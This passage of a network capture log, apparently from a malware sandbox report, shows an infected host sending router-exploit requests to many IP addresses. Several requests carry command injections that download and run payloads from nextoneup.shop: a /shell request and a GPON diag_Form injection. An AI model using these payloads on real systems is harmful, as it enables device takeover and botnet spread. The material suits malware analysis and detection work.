4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1800	192.168.2.13	53022	23.60.188.235	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:12.960545063 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.426456928 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:13 GMT Date: Sun, 14 Apr 2024 02:01:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 36 66 37 62 62 36 39 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 32 62 65 30 61 62 34 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 36 66 37 62 62 36 39 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 32 62 65 30 61 62 34 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.46f7bb69.1713060073.2be0ab4e<P>https://errors.edgesuite.net/9.46f7bb69.1713060073.2be0ab4e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1801	192.168.2.13	38916	23.207.167.238	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.627825975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.824697971 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:13 GMT Date: Sun, 14 Apr 2024 02:01:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 34 35 31 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 32 30 34 35 62 66 31 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 34 35 31 64 62 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 32 30 34 35 62 66 31 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2451db17.1713060073.2045bf1c<P>https://errors.edgesuite.net/9.2451db17.1713060073.2045bf1c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1802	192.168.2.13	60352	23.7.114.165	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.648998976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:13.866857052 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:13 GMT Date: Sun, 14 Apr 2024 02:01:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 61 61 32 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 33 34 37 33 39 34 66 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 65 61 61 32 63 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 33 26 23 34 36 3b 33 34 37 33 39 34 66 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.eaa2c17.1713060073.347394fa<P>https://errors.edgesuite.net/9.eaa2c17.1713060073.347394fa</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1803	192.168.2.13	49504	37.221.250.92	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:13.758841038 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:14.091057062 CEST	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1804	192.168.2.13	60908	202.133.230.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180603027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1805	192.168.2.13	58386	148.6.206.132	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180624008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1806	192.168.2.13	43086	202.207.73.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180648088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1807	192.168.2.13	51086	210.170.235.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180680037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1808	192.168.2.13	55930	148.55.189.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180737972 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1809	192.168.2.13	40064	37.3.99.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180738926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1810	192.168.2.13	39560	212.215.177.160	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180751085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1811	192.168.2.13	49676	212.214.106.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180792093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1812	192.168.2.13	41146	202.179.166.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180800915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1813	192.168.2.13	57846	123.46.123.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180840015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1814	192.168.2.13	59068	118.154.17.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180869102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1815	192.168.2.13	60126	42.142.237.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180883884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1816	192.168.2.13	40238	109.238.13.207	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180924892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1817	192.168.2.13	53220	42.101.47.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180969954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1818	192.168.2.13	37900	118.55.196.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.180984020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1819	192.168.2.13	41426	148.151.25.228	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181015968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1820	192.168.2.13	54044	94.31.162.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:15.181060076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1821	192.168.2.13	46938	148.50.185.109	443

Timestamp	Bytes transferred	Direction	Data
